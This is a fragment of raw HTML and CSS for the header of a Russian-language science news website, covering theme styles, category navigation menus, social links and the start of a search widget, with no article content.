.tdb-sub-menu-icon{margin:0 0 0 6px}.tdb-horiz-menu>li>a .tdb-sub-menu-icon-svg svg{position:relative;top:-1px;width:13px}.tdb-horiz-menu>li .tdb-menu-sep{position:relative}.tdb-horiz-menu>li:last-child .tdb-menu-sep{display:none}.tdb-horiz-menu .tdb-sub-menu-icon-svg,.tdb-horiz-menu .tdb-menu-sep-svg{line-height:0}.tdb-horiz-menu .tdb-sub-menu-icon-svg svg,.tdb-horiz-menu .tdb-menu-sep-svg svg{height:auto}.tdb-horiz-menu .tdb-sub-menu-icon-svg svg,.tdb-horiz-menu .tdb-menu-sep-svg svg,.tdb-horiz-menu .tdb-sub-menu-icon-svg svg *,.tdb-horiz-menu .tdb-menu-sep-svg svg *{fill:#000}.tdb-horiz-menu .tdb-sub-menu-icon{vertical-align:middle;position:relative;top:0;padding-left:0}.tdb-horiz-menu .tdb-menu-sep{vertical-align:middle;font-size:12px}.tdb-horiz-menu .tdb-menu-sep-svg svg{width:12px}.tdb-horiz-menu ul{position:absolute;top:auto;left:-7px;padding:8px 0;background-color:#fff;visibility:hidden;opacity:0}.tdb-horiz-menu ul li>a{white-space:nowrap;display:block;padding:5px 18px;font-size:11px;line-height:18px;color:#111}.tdb-horiz-menu ul li>a .tdb-sub-menu-icon{float:right;font-size:7px;line-height:20px}.tdb-horiz-menu ul li>a .tdb-sub-menu-icon-svg svg{width:7px}.tdc-dragged .tdb-horiz-menu ul{visibility:hidden!important;opacity:0!important;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}.tdi_21{display:inline-block}.tdi_21 .tdb-horiz-menu>li{margin-right:16px}.tdi_21 .tdb-horiz-menu>li:last-child{margin-right:0}.tdi_21 .tdb-horiz-menu>li>a{padding:0px;color:#ffffff;font-size:11px!important;line-height:28px!important;font-weight:400!important}.tdi_21 .tdb-horiz-menu>li .tdb-menu-sep{top:0px}.tdi_21 .tdb-horiz-menu>li>a .tdb-sub-menu-icon{top:0px}.tdi_21 .tdb-horiz-menu>li>a .tdb-sub-menu-icon-svg svg,.tdi_21 .tdb-horiz-menu>li>a .tdb-sub-menu-icon-svg svg *{fill:#ffffff}.tdi_21 .tdb-horiz-menu>li.current-menu-item>a,.tdi_21 .tdb-horiz-menu>li.current-menu-ancestor>a,.tdi_21 .tdb-horiz-menu>li.current-category-ancestor>a,.tdi_21 .tdb-horiz-menu>li.current-page-ancestor>a,.tdi_21 .tdb-horiz-menu>li:hover>a{color:#4db2ec}.tdi_21 .tdb-horiz-menu>li.current-menu-item>a .tdb-sub-menu-icon-svg svg,.tdi_21 .tdb-horiz-menu>li.current-menu-item>a .tdb-sub-menu-icon-svg svg *,.tdi_21 .tdb-horiz-menu>li.current-menu-ancestor>a .tdb-sub-menu-icon-svg svg,.tdi_21 .tdb-horiz-menu>li.current-menu-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_21 .tdb-horiz-menu>li.current-category-ancestor>a .tdb-sub-menu-icon-svg svg,.tdi_21 .tdb-horiz-menu>li.current-category-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_21 .tdb-horiz-menu>li.current-page-ancestor>a .tdb-sub-menu-icon-svg svg,.tdi_21 .tdb-horiz-menu>li.current-page-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_21 .tdb-horiz-menu>li:hover>a .tdb-sub-menu-icon-svg svg,.tdi_21 .tdb-horiz-menu>li:hover>a .tdb-sub-menu-icon-svg svg *{fill:#4db2ec}.tdi_21 .tdb-horiz-menu ul{left:-18px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.15)}.tdi_21 .tdb-horiz-menu ul li>a{line-height:1.2!important}</style><div id=tdi_21 class="td_block_inner td-fix-index"><div class="menu-%d0%ba%d0%b0%d1%82%d0%b5%d0%b3%d0%be%d1%80%d0%b8%d0%b8-container"><ul id="menu-%d0%ba%d0%b0%d1%82%d0%b5%d0%b3%d0%be%d1%80%d0%b8%d0%b8" class="tdb-horiz-menu"><li id="menu-item-11549" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-11549"><a href="https://www.sciencedebate2008.com/category/news/"><div class="tdb-menu-item-text">袧芯胁芯褋褌懈 薪邪褍泻懈</div></a></li> <li id="menu-item-11556" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-11556"><a href="https://www.sciencedebate2008.com/category/basic-science/"><div class="tdb-menu-item-text">肖褍薪写邪屑械薪褌邪谢褜薪邪褟 薪邪褍泻邪</div></a></li> <li id="menu-item-11562" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11562"><a href="https://www.sciencedebate2008.com/www/"><div class="tdb-menu-item-text">袨 锌褉芯械泻褌械</div></a></li> <li id="menu-item-11561" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11561"><a href="https://www.sciencedebate2008.com/site-map/"><div class="tdb-menu-item-text">袣邪褉褌邪 褋邪泄褌邪</div></a></li> </ul></div></div></div><div class="tdm_block td_block_wrap tdm_block_socials tdi_22 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_22" > <style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}.tdi_22{float:right;clear:none}</style> <style>.tdi_23 .tdm-social-item i{font-size:12px;vertical-align:middle}.tdi_23 .tdm-social-item i.td-icon-linkedin,.tdi_23 .tdm-social-item i.td-icon-pinterest,.tdi_23 .tdm-social-item i.td-icon-blogger,.tdi_23 .tdm-social-item i.td-icon-vimeo{font-size:9.6px}.tdi_23 .tdm-social-item{width:22.8px;height:22.8px;margin:2.5px 5px 2.5px 0}.tdi_23 .tdm-social-item i{line-height:22.8px}.tdi_23 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_23 .tdm-social-item i,.tds-team-member2 .tdi_23.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_23 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_23.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_23 .tdm-social-text{display:none;margin-left:2px;margin-right:18px}</style><div class="tdm-social-wrapper tds-social1 tdi_23"><div class="tdm-social-item-wrap"><a href="https://www.facebook.com/sciencedebate2008" title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="https://twitter.com/sciencedebate08" title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div><div class="tdm-social-item-wrap"><a href="https://vk.com/sciencedebates" title="VKontakte" class="tdm-social-item"><i class="td-icon-font td-icon-vk"></i><span style="display: none">VKontakte</span></a></div><div class="tdm-social-item-wrap"><a href="#" title="Youtube" class="tdm-social-item"><i class="td-icon-font td-icon-youtube"></i><span style="display: none">Youtube</span></a></div></div></div></div></div></div></div><div id="tdi_24" class="tdc-row"><div class="vc_row tdi_25 wpb_row td-pb-row" > <style scoped>.tdi_25,.tdi_25 .tdc-columns{min-height:0}.tdi_25,.tdi_25 .tdc-columns{display:block}.tdi_25 .tdc-columns{width:100%}</style><div class="vc_column tdi_27 wpb_column vc_column_container tdc-column td-pb-span12"> <style scoped>.tdi_27{vertical-align:baseline}.tdi_27>.wpb_wrapper,.tdi_27>.wpb_wrapper>.tdc-elements{display:block}.tdi_27>.wpb_wrapper>.tdc-elements{width:100%}.tdi_27>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_27>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="vc_row_inner tdi_29 vc_row vc_inner wpb_row td-pb-row tdc-row-content-vert-center" > <style scoped>.tdi_29{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_29,.tdi_29 .tdc-inner-columns{display:block}.tdi_29 .tdc-inner-columns{width:100%}@media (min-width:768px){.tdi_29{margin-left:-0px;margin-right:-0px}.tdi_29>.vc_column_inner,.tdi_29>.tdc-inner-columns>.vc_column_inner{padding-left:0px;padding-right:0px}}@media (min-width:767px){.tdi_29.tdc-row-content-vert-center,.tdi_29.tdc-row-content-vert-center .tdc-inner-columns{display:flex;align-items:center;flex:1}.tdi_29.tdc-row-content-vert-bottom,.tdi_29.tdc-row-content-vert-bottom .tdc-inner-columns{display:flex;align-items:flex-end;flex:1}.tdi_29.tdc-row-content-vert-center .td_block_wrap{vertical-align:middle}.tdi_29.tdc-row-content-vert-bottom .td_block_wrap{vertical-align:bottom}}.tdi_29{padding-top:28px!important;padding-bottom:9px!important}.tdi_29 .td_block_wrap{text-align:left}@media (min-width:768px) and (max-width:1018px){.tdi_29{margin-bottom:-3px!important;padding-top:9px!important;padding-bottom:0px!important}}</style><div class="vc_column_inner tdi_31 wpb_column vc_column_container tdc-inner-column td-pb-span4"> <style scoped>.tdi_31{vertical-align:baseline}.tdi_31 .vc_column-inner>.wpb_wrapper,.tdi_31 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_31 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_31{width:30%!important}@media (min-width:1019px) and (max-width:1140px){.tdi_31{width:24%!important}}@media (min-width:768px) and (max-width:1018px){.tdi_31{width:calc(100% - 468px)!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_32 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_32" > <style>.tdi_32 .tdb-logo-a,.tdi_32 h1{flex-direction:row}.tdi_32 .tdb-logo-a,.tdi_32 h1{align-items:center;justify-content:center}.tdi_32 .tdb-logo-svg-wrap{display:block}.tdi_32 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_32 .tdb-logo-img-wrap{display:block}.tdi_32 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_32 .tdb-logo-text-title{display:block}.tdi_32 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_32 .tdb-logo-icon{top:0px;display:block}@media (min-width:768px) and (max-width:1018px){.tdi_32 .tdb-logo-img{max-width:220px}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://www.sciencedebate2008.com/" title="Science Debate"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img td-retina-data" data-retina="https://www.sciencedebate2008.com/wp-content/uploads/new_logo-1.jpg" src="https://www.sciencedebate2008.com/wp-content/uploads/new_logo-1.jpg" alt="Science Debate" title="Science Debate" width="272" height="90" /></span></a></div></div> <!-- ./block --></div></div></div><div class="vc_column_inner tdi_34 wpb_column vc_column_container tdc-inner-column td-pb-span8"> <style scoped>.tdi_34{vertical-align:baseline}.tdi_34 .vc_column-inner>.wpb_wrapper,.tdi_34 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_34 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_34{width:70%!important}@media (min-width:1019px) and (max-width:1140px){.tdi_34{width:76%!important}}@media (min-width:768px) and (max-width:1018px){.tdi_34{width:468px!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td-block td-a-rec td-a-rec-id-custom-spot tdi_35 td_block_template_1"> <style>.tdi_35{margin-bottom:0px!important}</style> <style>.tdi_35.td-a-rec{text-align:center}.tdi_35.td-a-rec:not(.td-a-rec-no-translate){transform:translateZ(0)}.tdi_35 .td-element-style{z-index:-1}.tdi_35.td-a-rec-img{text-align:right}.tdi_35.td-a-rec-img img{margin:0 0 0 auto}@media (max-width:767px){.tdi_35.td-a-rec-img{text-align:center}}</style> </div></div></div></div></div><div class="vc_row_inner tdi_37 vc_row vc_inner wpb_row td-pb-row" > <style scoped>.tdi_37{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_37,.tdi_37 .tdc-inner-columns{display:block}.tdi_37 .tdc-inner-columns{width:100%}</style><div class="vc_column_inner tdi_39 wpb_column vc_column_container tdc-inner-column td-pb-span12"> <style scoped>.tdi_39{vertical-align:baseline}.tdi_39 .vc_column-inner>.wpb_wrapper,.tdi_39 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_39 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_menu tdi_40 tds_menu_active1 tds_menu_sub_active1 tdb-head-menu-inline tdb-mm-align-screen td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_40" style=" z-index: 999;"> <style>.tdb_header_menu{margin-bottom:0;z-index:999;clear:none}.tdb_header_menu .tdb-main-sub-icon-fake,.tdb_header_menu .tdb-sub-icon-fake{display:none}.rtl .tdb_header_menu .tdb-menu{display:flex}.tdb_header_menu .tdb-menu{display:inline-block;vertical-align:middle;margin:0}.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive,.tdb_header_menu .tdb-menu .tdb-menu-item-inactive{pointer-events:none}.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive>ul,.tdb_header_menu .tdb-menu .tdb-menu-item-inactive>ul{visibility:hidden;opacity:0}.tdb_header_menu .tdb-menu .sub-menu{font-size:14px;position:absolute;top:-999em;background-color:#fff;z-index:99}.tdb_header_menu .tdb-menu .sub-menu>li{list-style-type:none;margin:0;font-family:'Open Sans','Open Sans Regular',sans-serif}.tdb_header_menu .tdb-menu>li{float:left;list-style-type:none;margin:0}.tdb_header_menu .tdb-menu>li>a{position:relative;display:inline-block;padding:0 14px;font-weight:700;font-size:14px;line-height:48px;vertical-align:middle;text-transform:uppercase;-webkit-backface-visibility:hidden;color:#000;font-family:'Open Sans','Open Sans Regular',sans-serif}.tdb_header_menu .tdb-menu>li>a:after{content:'';position:absolute;bottom:0;left:0;right:0;margin:0 auto;width:0;height:3px;background-color:var(--td_theme_color,#4db2ec);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:width 0.2s ease;transition:width 0.2s ease}.tdb_header_menu .tdb-menu>li>a>.tdb-menu-item-text{display:inline-block}.tdb_header_menu .tdb-menu>li>a .tdb-menu-item-text,.tdb_header_menu .tdb-menu>li>a span{vertical-align:middle;float:left}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon{margin:0 0 0 7px}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg{float:none;line-height:0}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg svg{width:14px;height:auto}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg svg,.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg svg *{fill:#000}.tdb_header_menu .tdb-menu>li.current-menu-item>a:after,.tdb_header_menu .tdb-menu>li.current-menu-ancestor>a:after,.tdb_header_menu .tdb-menu>li.current-category-ancestor>a:after,.tdb_header_menu .tdb-menu>li.current-page-ancestor>a:after,.tdb_header_menu .tdb-menu>li:hover>a:after,.tdb_header_menu .tdb-menu>li.tdb-hover>a:after{width:100%}.tdb_header_menu .tdb-menu>li:hover>ul,.tdb_header_menu .tdb-menu>li.tdb-hover>ul{top:auto;display:block!important}.tdb_header_menu .tdb-menu>li.td-normal-menu>ul.sub-menu{top:auto;left:0;z-index:99}.tdb_header_menu .tdb-menu>li .tdb-menu-sep{position:relative;vertical-align:middle;font-size:14px}.tdb_header_menu .tdb-menu>li .tdb-menu-sep-svg{line-height:0}.tdb_header_menu .tdb-menu>li .tdb-menu-sep-svg svg{width:14px;height:auto}.tdb_header_menu .tdb-menu>li:last-child .tdb-menu-sep{display:none}.tdb_header_menu .tdb-menu-item-text{word-wrap:break-word}.tdb_header_menu .tdb-menu-item-text,.tdb_header_menu .tdb-sub-menu-icon,.tdb_header_menu .tdb-menu-more-subicon{vertical-align:middle}.tdb_header_menu .tdb-sub-menu-icon,.tdb_header_menu .tdb-menu-more-subicon{position:relative;top:0;padding-left:0}.tdb_header_menu .tdb-normal-menu{position:relative}.tdb_header_menu .tdb-normal-menu ul{left:0;padding:15px 0;text-align:left}.tdb_header_menu .tdb-normal-menu ul ul{margin-top:-15px}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item{position:relative;list-style-type:none}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a{position:relative;display:block;padding:7px 30px;font-size:12px;line-height:20px;color:#111}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);right:0;padding-right:inherit;font-size:7px;line-height:20px}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon-svg{line-height:0}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon-svg svg{width:7px;height:auto}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg *,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon svg,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon svg *{fill:#000}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover>ul,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover>ul{top:0;display:block!important}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-item>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-ancestor>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-category-ancestor>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-page-ancestor>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover>a{color:var(--td_theme_color,#4db2ec)}.tdb_header_menu .tdb-normal-menu>ul{left:-15px}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul,.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{width:100%!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul li,.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list li{display:inline-block;width:auto!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu,.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item{position:static}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul ul{margin-top:0!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu>ul{left:0!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item>a .tdb-sub-menu-icon{float:none;line-height:1}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item:hover>ul,.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item.tdb-hover>ul{top:100%}.tdb_header_menu.tdb-menu-sub-inline .tdb-menu-items-dropdown{position:static}.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{left:0!important}.tdb-menu .tdb-mega-menu .sub-menu{-webkit-transition:opacity 0.3s ease;transition:opacity 0.3s ease;width:1114px!important}.tdb-menu .tdb-mega-menu .sub-menu,.tdb-menu .tdb-mega-menu .sub-menu>li{position:absolute;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.tdb-menu .tdb-mega-menu .sub-menu>li{top:0;width:100%;max-width:1114px!important;height:auto;background-color:#fff;border:1px solid #eaeaea;overflow:hidden}.tdc-dragged .tdb-block-menu ul{visibility:hidden!important;opacity:0!important;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}.tdb-mm-align-screen .tdb-menu .tdb-mega-menu .sub-menu{-webkit-transform:translateX(0);transform:translateX(0)}.tdb-mm-align-parent .tdb-menu .tdb-mega-menu{position:relative}.tdb-menu .tdb-mega-menu .tdc-row:not([class*='stretch_row_']),.tdb-menu .tdb-mega-menu .tdc-row-composer:not([class*='stretch_row_']){width:auto!important;max-width:1240px}.tdb-menu .tdb-mega-menu-page>.sub-menu>li .tdb-page-tpl-edit-btns{position:absolute;top:0;left:0;display:none;flex-wrap:wrap;gap:0 4px}.tdb-menu .tdb-mega-menu-page>.sub-menu>li:hover .tdb-page-tpl-edit-btns{display:flex}.tdb-menu .tdb-mega-menu-page>.sub-menu>li .tdb-page-tpl-edit-btn{background-color:#000;padding:1px 8px 2px;font-size:11px;color:#fff;z-index:100}.tdi_40{display:inline-block}.tdi_40 .tdb-menu>li .tdb-menu-sep,.tdi_40 .tdb-menu-items-dropdown .tdb-menu-sep{top:-1px}.tdi_40 .tdb-menu>li>a .tdb-sub-menu-icon,.tdi_40 .td-subcat-more .tdb-menu-more-subicon{top:-1px}.tdi_40 .td-subcat-more .tdb-menu-more-icon{top:0px}.tdi_40 .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon,.tdi_40 .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon{right:0;margin-top:1px}.tdi_40 .tdb-menu .tdb-normal-menu ul,.tdi_40 .td-pulldown-filter-list,.tdi_40 .td-pulldown-filter-list .sub-menu{box-shadow:1px 1px 4px 0px rgba(0,0,0,0.15)}.tdi_40:not(.tdb-mm-align-screen) .tdb-mega-menu .sub-menu,.tdi_40 .tdb-mega-menu .sub-menu>li{max-width:1300px!important}.tdi_40 .tdb-mega-menu .tdb_header_mega_menu{min-height:345px}.tdi_40 .tdb-menu .tdb-mega-menu .sub-menu>li{box-shadow:0px 2px 6px 0px rgba(0,0,0,0.1)}@media (max-width:1140px){.tdb-menu .tdb-mega-menu .sub-menu>li{width:100%!important}}@media (min-width:1019px) and (max-width:1140px){.tdi_40 .tdb-mega-menu .tdb_header_mega_menu{min-height:300px}}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdb-menu>li>a,.tdi_40 .td-subcat-more{padding:0 12px}.tdi_40 .tdb-menu>li>a,.tdi_40 .td-subcat-more,.tdi_40 .td-subcat-more>.tdb-menu-item-text{font-size:11px!important;line-height:48px!important}.tdi_40 .tdb-mega-menu .tdb_header_mega_menu{min-height:240px}.tdi_40 .tdb-mega-menu-page>.sub-menu>li{padding:14px}}</style> <style>.tdi_40 .tdb-menu>li>a:after,.tdi_40 .tdb-menu-items-dropdown .td-subcat-more:after{background-color:}.tdi_40 .tdb-menu>li>a:after,.tdi_40 .tdb-menu-items-dropdown .td-subcat-more:after{bottom:0px}</style> <style></style><div id=tdi_40 class="td_block_inner td-fix-index"><div class="tdb-main-sub-icon-fake"><i class="tdb-sub-menu-icon td-icon-down tdb-main-sub-menu-icon"></i></div><div class="tdb-sub-icon-fake"><i class="tdb-sub-menu-icon td-icon-right-arrow"></i></div><ul id="menu-shapka-1" class="tdb-block-menu tdb-menu tdb-menu-items-visible"><li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-cur-menu-item menu-item-first tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-20609"><a href="https://www.sciencedebate2008.com/category/economics/"><div class="tdb-menu-item-text">协泻芯薪芯屑懈泻邪</div></a></li> <li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-20691"><a href="https://www.sciencedebate2008.com/category/world/"><div class="tdb-menu-item-text">袦懈褉芯胁褘械 薪芯胁芯褋褌懈</div></a></li> <li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-26254"><a href="https://www.sciencedebate2008.com/category/news/"><div class="tdb-menu-item-text">袧芯胁芯褋褌懈 薪邪褍泻懈</div></a></li> <li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-20610"><a href="https://www.sciencedebate2008.com/category/it/"><div class="tdb-menu-item-text">IT-褌械褏薪芯谢芯谐懈懈</div></a></li> <li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-26257"><a href="https://www.sciencedebate2008.com/category/space/"><div class="tdb-menu-item-text">袣芯褋屑芯褋</div></a></li> <li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-26256"><a href="https://www.sciencedebate2008.com/category/energetics/"><div class="tdb-menu-item-text">协薪械褉谐械褌懈泻邪</div></a></li> <li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-26255"><a href="https://www.sciencedebate2008.com/category/interes/"><div class="tdb-menu-item-text">袠薪褌械褉械褋薪芯</div></a></li> </ul></div></div><div class="td_block_wrap tdb_header_search tdi_43 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_43" > <style>@media (min-width:768px) and (max-width:1018px){.tdi_43{margin-top:1px!important}}</style> <style>.tdb_module_header{width:100%;padding-bottom:0}.tdb_module_header .td-module-container{display:flex;flex-direction:column;position:relative}.tdb_module_header .td-module-container:before{content:'';position:absolute;bottom:0;left:0;width:100%;height:1px}.tdb_module_header .td-image-wrap{display:block;position:relative;padding-bottom:70%}.tdb_module_header .td-image-container{position:relative;width:100%;flex:0 0 auto}.tdb_module_header .td-module-thumb{margin-bottom:0}.tdb_module_header .td-module-meta-info{width:100%;margin-bottom:0;padding:7px 0 0 0;z-index:1;border:0 solid #eaeaea;min-height:0}.tdb_module_header .entry-title{margin:0;font-size:13px;font-weight:500;line-height:18px}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date,.tdb_module_header .td-module-comments{vertical-align:text-top}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date{top:3px}.tdb_module_header .td-thumb-css{width:100%;height:100%;position:absolute;background-size:cover;background-position:center center}.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category),.tdb_module_header .td-post-vid-time{position:absolute;z-index:2;bottom:0}.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category){left:0}.tdb_module_header .td-post-vid-time{right:0;background-color:#000;padding:3px 6px 4px;font-family:'Open Sans','Open Sans Regular',sans-serif;font-size:10px;font-weight:600;line-height:1;color:#fff}.tdb_module_header .td-excerpt{margin:20px 0 0;line-height:21px}.tdb_module_header .td-read-more{margin:20px 0 0}.tdb_module_search .tdb-author-photo{display:inline-block}.tdb_module_search .tdb-author-photo,.tdb_module_search .tdb-author-photo img{vertical-align:middle}.tdb_module_search .td-post-author-name{white-space:normal}.tdb_header_search{margin-bottom:0;clear:none}.tdb_header_search .tdb-block-inner{position:relative;display:inline-block;width:100%}.tdb_header_search .tdb-search-form{position:relative;padding:20px;border-width:3px 0 0;border-style:solid;border-color:var(--td_theme_color,#4db2ec);pointer-events:auto}.tdb_header_search .tdb-search-form:before{content:'';position:absolute;top:0;left:0;width:100%;height:100%;background-color:#fff}.tdb_header_search .tdb-search-form-inner{position:relative;display:flex;background-color:#fff}.tdb_header_search .tdb-search-form-inner:after{content:'';position:absolute;top:0;left:0;width:100%;height:100%;border:1px solid #e1e1e1;pointer-events:none}.tdb_header_search .tdb-head-search-placeholder{position:absolute;top:50%;transform:translateY(-50%);padding:3px 9px;font-size:12px;line-height:21px;color:#999;-webkit-transition:all 0.3s ease;transition:all 0.3s ease;pointer-events:none}.tdb_header_search .tdb-head-search-form-input:focus+.tdb-head-search-placeholder,.tdb-head-search-form-input:not(:placeholder-shown)~.tdb-head-search-placeholder{opacity:0}.tdb_header_search .tdb-head-search-form-btn,.tdb_header_search .tdb-head-search-form-input{height:auto;min-height:32px}.tdb_header_search .tdb-head-search-form-input{color:#444;flex:1;background-color:transparent;border:0}.tdb_header_search .tdb-head-search-form-input.tdb-head-search-nofocus{color:transparent;text-shadow:0 0 0 #444}.tdb_header_search .tdb-head-search-form-btn{margin-bottom:0;padding:0 15px;background-color:#222222;font-family:'Roboto',sans-serif;font-size:13px;font-weight:500;color:#fff;-webkit-transition:all 0.3s ease;transition:all 0.3s ease;z-index:1}.tdb_header_search .tdb-head-search-form-btn:hover{background-color:var(--td_theme_color,#4db2ec)}.tdb_header_search .tdb-head-search-form-btn i,.tdb_header_search .tdb-head-search-form-btn span{display:inline-block;vertical-align:middle}.tdb_header_search .tdb-head-search-form-btn i{font-size:12px}.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon{position:relative}.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon-svg{line-height:0}.tdb_header_search .tdb-head-search-form-btn svg{width:12px;height:auto}.tdb_header_search .tdb-head-search-form-btn svg,.tdb_header_search .tdb-head-search-form-btn svg *{fill:#fff;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}.tdb_header_search 